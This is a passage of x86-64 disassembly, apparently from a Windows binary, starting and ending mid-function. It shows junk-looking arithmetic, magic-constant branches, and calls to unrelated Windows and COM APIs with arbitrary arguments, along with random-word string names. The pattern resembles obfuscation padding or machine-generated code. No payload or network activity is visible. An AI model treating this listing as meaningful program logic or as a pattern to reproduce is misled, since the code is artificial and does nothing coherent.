je 0x14005f49f
cmp dword [rsp + 0x55b8], 0xf53
je 0x14005f4f3
jmp 0x14005f588
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c28]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9c58]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x237]
movzx ecx, byte [rsp + 0x237]
call fcn.140239e10
nop
jmp 0x14005f588
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov byte [rsp + 0x55bc], al
cmp byte [rsp + 0x55bc], 0xbd
je 0x14005f511
jmp 0x14005f568
movzx eax, byte [0x140289810]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x16e0]
movsx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
lea rdx, [rsp + 0x9d78]
lea rcx, [rsp + 0x9d00]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x5570], eax
jmp 0x14005f588
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9600]
mov qword [rsp + 0x9ec8], rax
cmp qword [rsp + 0x9ec8], 0
je 0x14005f5db
movabs rax, 0x9d2aba66c72802d8
cmp qword [rsp + 0x9ec8], rax
je 0x14005f631
jmp 0x14005f779
mov rax, qword [rsp + 0x9cc8]
movzx eax, word [rax]
mov word [rsp + 0x16f0], ax
mov eax, dword [rsp + 0x557c]
mov dword [0x140289820], eax
lea rax, [rsp + 0x5558]
mov qword [rsp + 0x9ed0], rax
movabs rax, 0x7561d825f0bf2ca3
mov rcx, qword [rsp + 0x9578]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x9dc0], rax
jmp 0x14005f779
mov rax, qword [rsp + 0x9e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x16e0]
movsx edx, word [rsp + 0x1380]
add ecx, edx
cmp eax, ecx
jle 0x14005f779
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
mov qword [rsp + 0x9ed8], rax
movabs rax, 0xc6a4ee81b1bcfbe6
cmp qword [rsp + 0x9ed8], rax
je 0x14005f68f
jmp 0x14005f773
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov dword [rsp + 0x55c0], eax
cmp dword [rsp + 0x55c0], 0x8cd
je 0x14005f6e4
lea rax, [rsp + 0x16f0]
mov qword [rsp + 0x9ee8], rax
movzx eax, byte [rsp + 0x134]
mov byte [rsp + 0x55c4], al
cmp byte [rsp + 0x55c4], 0
je 0x14005f7ce
cmp byte [rsp + 0x55c4], 0x2a
je 0x14005f7b1
jmp 0x14023841b
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sar eax, cl
mov byte [0x140289810], al
jmp 0x14023841b
mov rax, qword [rsp + 0x9ed0]
mov eax, dword [rax]
mov dword [rsp + 0x55c8], eax
cmp dword [rsp + 0x55c8], 0xd0c5dce2
je 0x14005f7f1
jmp 0x14005f890
movsx eax, word [rsp + 0x1380]
movsx ecx, word [rsp + 0x16d8]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
movsx ecx, word [rcx]
movsx edx, word [0x14028800c]
sub ecx, edx
cmp eax, ecx
jne 0x14005f855
mov edx, 0x1c
mov rcx, qword [rsp + 0x9c20]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x5430], eax
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rax]
call fcn.14023a980
nop
jmp 0x140238610
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
mov qword [rsp + 0x2b0b0], rax
movabs rax, 0x6914681b830e37f1
cmp qword [rsp + 0x2b0b0], rax
je 0x1402384b0
jmp 0x1402384f0
mov rax, qword [rsp + 0x9600]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x9c90]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x9c38]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x9d00]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rax]
call fcn.14023bff0
nop
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54c8]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5558]
mov edx, dword [rsp + 0x5428]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x1402385cf
mov r9d, 0xf9
lea r8, [rsp + 0x9c20]
mov edx, 0x30
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x55dc], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ea8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
lea r8, [rsp + 0x9d30]
mov edx, 0x3a
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0x9e20]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x9c78]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c78]
movzx ecx, byte [rax]
call fcn.14023b310
nop
mov rax, qword [rsp + 0x9e68]
mov rcx, qword [rsp + 0x9dc0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9dd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16cc], ax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9dd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x8e64], al
cmp byte [rsp + 0x8e64], 0x6a
je 0x1402386b2
cmp byte [rsp + 0x8e64], 0xb0
je 0x140238677
jmp 0x140238751
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x54fc], eax
lea rdx, [rsp + 0x9e68]
mov rcx, qword [rsp + 0x9cf0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x54c8], eax
jmp 0x140238751
mov rax, qword [rsp + 0x9cb0]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x558c], eax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x12a]
sar eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x9f20]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc3
lea rax, [rsp + 0x9d30]
mov qword [rsp + 0x20], rax
mov r9d, 0xe8
lea r8, [rsp + 0x9c70]
lea rdx, [rsp + 0x9c98]
lea rcx, [rsp + 0x5430]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x5664], eax
lea rdx, [rsp + 0x5550]
mov ecx, 0xa3
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x5534], eax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov dword [rsp + 0x8e68], eax
cmp dword [rsp + 0x8e68], 0x7700f6e5
je 0x14023878d
jmp 0x1402387ad
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
xor eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x236]
sar eax, cl
mov byte [0x140289810], al
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x544c], eax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
or eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
lea r8, [rsp + 0x54a8]
mov dx, 0xf4
mov cx, 0xb
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x54d8], eax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9578]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9e68]
mov qword [rcx], rax
call fcn.14023a860
nop
jmp 0x140238942
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5428]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9de0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov rdx, qword [rsp + 0x9cb8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jbe 0x1402388e2
lea rdx, [rsp + 0x9c90]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5428], eax
jmp 0x140238942
mov eax, dword [rsp + 0x5448]
movzx ecx, al
mov eax, dword [rsp + 0x5400]
shl eax, cl
mov ecx, dword [rsp + 0x53f8]
mov rdx, qword [rsp + 0x9c68]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140238942
movzx eax, byte [0x140289810]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x233]
mov r8d, dword [rsp + 0x5400]
mov rax, qword [rsp + 0x9c38]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x5400]
call fcn.14023bc60
nop
mov r8d, 1
lea rdx, [rsp + 0xa028]
lea rcx, [rsp + 0x2b148]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x9ea0], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov qword [rsp + 0x2b0b8], rax
movabs rax, 0x5d1e0d0d77507bce
cmp qword [rsp + 0x2b0b8], rax
je 0x14023898f
jmp 0x1402389b3
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9dc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
call fcn.14023a860
nop
jmp 0x140238a73
mov rax, qword [rsp + 0x9dd8]
mov rcx, qword [rsp + 0x9d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
lea rax, [rsp + 0x5400]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9d60]
mov r8d, 0x93
lea rdx, [rsp + 0x5448]
mov rcx, qword [rsp + 0x9de8]
call qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [rsp + 0x54f8], eax
mov rax, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9cb8]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x234]
mov edx, dword [rsp + 0x5404]
mov rax, qword [rsp + 0x9d08]
movzx ecx, word [rax]
call fcn.14023ada0
nop
lea rcx, [rsp + 0x9c68]
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
mov dword [rsp + 0x551c], eax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9cf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
jmp 0x140238ba5
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x8e6c], eax
cmp dword [rsp + 0x8e6c], 0x92d
je 0x140238b1b
jmp 0x140238b6d
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9d78]
mov qword [rsp + 0x2b0c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b0c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf8]
movzx ecx, al
mov rax, qword [rsp + 0x9578]
sar rax, cl
mov qword [rsp + 0x9dc0], rax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54a8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x54c8], eax
xor r8d, r8d
lea rdx, str.ResolvesDemagogSakeshavoc
lea rcx, str.Engardeprofessed
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x54d8], eax
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x53f8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x9c78]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9d58]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x232]
mov ecx, dword [rsp + 0x5400]
call fcn.14023bc60
nop
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x8e70], eax
cmp dword [rsp + 0x8e70], 0x1e5a426a
je 0x140238c19
jmp 0x140238c90
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x235]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
add eax, ecx
mov word [rsp + 0x16d8], ax
lea rdx, [rsp + 0x2b118]
lea rcx, str.Colliery_Undroppable
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x5614], eax
movzx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
jmp 0x140238cfa
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54fc], eax
lea r9, [rsp + 0x2bb60]
mov r8d, 0xc9
lea rdx, [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x9c30]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x5618], eax
mov rax, qword [rsp + 0x9cb8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x9d30]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x5404]
mov rax, qword [rsp + 0x9d08]
movzx ecx, word [rax]
call fcn.14023ada0
nop
movsx eax, word [rsp + 0x16d0]
mov dword [rsp + 0x8e74], eax
cmp dword [rsp + 0x8e74], 0x5db0
je 0x140238d18
jmp 0x140238d1a
jmp 0x140238d37
movzx eax, word [rsp + 0x16cc]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16c4], ax
movsx eax, word [rsp + 0x16d8]
movsx ecx, word [rsp + 0x16d4]
add eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov edx, 0xc
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x5430], eax
lea r8, [rsp + 0x9d18]
lea rdx, [rsp + 0x2b138]
lea rcx, [rsp + 0xa028]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x5658], eax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov byte [rsp + 0x8e78], al
cmp byte [rsp + 0x8e78], 0x86
je 0x140238dd0
jmp 0x140238f1d
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
add eax, ecx
movsx ecx, word [rsp + 0x16d0]
movsx edx, word [rsp + 0x16d8]
add ecx, edx
cmp eax, ecx
jne 0x140238f0e
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c60]
mov qword [rsp + 0x2b0c8], rax
movabs rax, 0x12b0baf9d61a4f9b
cmp qword [rsp + 0x2b0c8], rax
je 0x140238e79
movabs rax, 0x148e2b1fad2ce470
cmp qword [rsp + 0x2b0c8], rax
je 0x140238ef0
jmp 0x140238f0c
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9cf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
lea rdx, [rsp + 0x12a]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov dword [rsp + 0x54f8], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x9c38]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x5448]
movzx edx, byte [0x140289810]
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rax]
call fcn.14023bc60
nop
jmp 0x140238f0c
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x235], al
jmp 0x140238f1b
call qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [rsp + 0x55cc], eax
jmp 0x140238f3c
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
jmp 0x140238f5a
lea rdx, [rsp + 0x2b0e8]
lea rcx, str.camelhair_prestigious_Calif_slivers
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x5588], eax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5404]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x53f0]
mov edx, dword [rsp + 0x5428]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140238fe0
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x12a]
shl eax, cl
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9600]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
lea rdx, [rsp + 0x9600]
lea rcx, [fcn.14023a860]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x5440], eax
jmp 0x140239063
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9cb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x9600]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140239063
mov rax, qword [rsp + 0x9c60]
movzx ecx, al
mov rax, qword [rsp + 0x9578]
sar rax, cl
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9d58]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x54fc], eax
jmp 0x14023913c
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov qword [rsp + 0x2b0d0], rax
movabs rax, 0x27b5957bb1baf06b
cmp qword [rsp + 0x2b0d0], rax
je 0x1402390b0
jmp 0x14023911f
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54c8], eax
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x544c], eax
mov rax, qword [rsp + 0x9cf8]
mov rcx, qword [rsp + 0x9c60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov r9, qword [rsp + 0x9600]
movzx r8d, byte [rsp + 0x12a]
mov edx, dword [rsp + 0x54c8]
mov rax, qword [rsp + 0x9d08]
movzx ecx, word [rax]
call fcn.14023ada0
nop
jmp 0x14023913c
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x8e7c], al
cmp byte [rsp + 0x8e7c], 0x2e
je 0x140239179
jmp 0x14023917b
jmp 0x1402391a7
mov rax, qword [rsp + 0x9d00]
mov r9, qword [rax]
mov rax, qword [rsp + 0x9d30]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x5428]
movzx ecx, word [rsp + 0x16c4]
call fcn.14023ada0
nop
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c50], rax
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [rsp + 0x54d8], eax
jmp 0x140239366
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
movzx ecx, byte [rsp + 0x233]
mov rdx, qword [rsp + 0x9c38]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14023931d
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9600]
shl rax, cl
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
lea rax, [rsp + 0xa028]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x5550]
mov r8d, 0xcc
lea rdx, [rsp + 0x54f8]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0x9cf8]
mov qword [rsp + 0x2b0d8], rax
movabs rax, 0x22da4907ddd31626
cmp qword [rsp + 0x2b0d8], rax
je 0x1402392a4
movabs rax, 0x604b0444e1fcf7ca
cmp qword [rsp + 0x2b0d8], rax
je 0x140239302
jmp 0x14023931b
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9d38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9cb0]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movzx r8d, word [rsp + 0x16d4]
mov rax, qword [rsp + 0x9c38]
movzx edx, byte [rax]
movzx ecx, byte [0x140289810]
call fcn.14023b310
nop
jmp 0x14023931b
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x12a]
sar eax, cl
mov byte [rsp + 0x234], al
jmp 0x140239366
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9cb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x9600]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140239366
mov ecx, 0xd7
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x5570], eax
mov rax, qword [rsp + 0x9c28]
movzx eax, byte [rax]
mov byte [rsp + 0x8e80], al
cmp byte [rsp + 0x8e80], 0x18
je 0x140239391
cmp byte [rsp + 0x8e80], 0x39
je 0x1402393a8
jmp 0x140239436
mov ecx, 0xb3
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov dword [rsp + 0x54f8], eax
jmp 0x140239436
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16d4], ax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9cc8]
lea r8, [rsp + 0x9cc0]
lea rdx, [rsp + 0x2b118]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [rsp + 0x551c], eax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [0x140289810]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x5404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54a8], eax
jmp 0x140239575
movsx eax, word [rsp + 0x16d4]
mov dword [rsp + 0x8e84], eax
cmp dword [rsp + 0x8e84], 0x40b8
je 0x14023946d
cmp dword [rsp + 0x8e84], 0x5f24
je 0x140239558
jmp 0x140239575
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x16d4]
cmp eax, ecx
je 0x140239556
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5400], eax
lea r8, [rsp + 0x5400]
lea rdx, [rsp + 0x2b118]
mov ecx, 0xe3
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x5588], eax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140289810], al
movzx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov r9d, 0xcf
lea r8, [rsp + 0xa028]
mov rdx, qword [rsp + 0x9da8]
mov rcx, qword [rsp + 0x9d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x551c], eax
jmp 0x140239575
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x16c4], ax
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16d0]
and eax, ecx
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
cmp eax, ecx
je 0x1402395b3
lea rdx, [rsp + 0x16c4]
lea rcx, [rsp + 0x2b108]
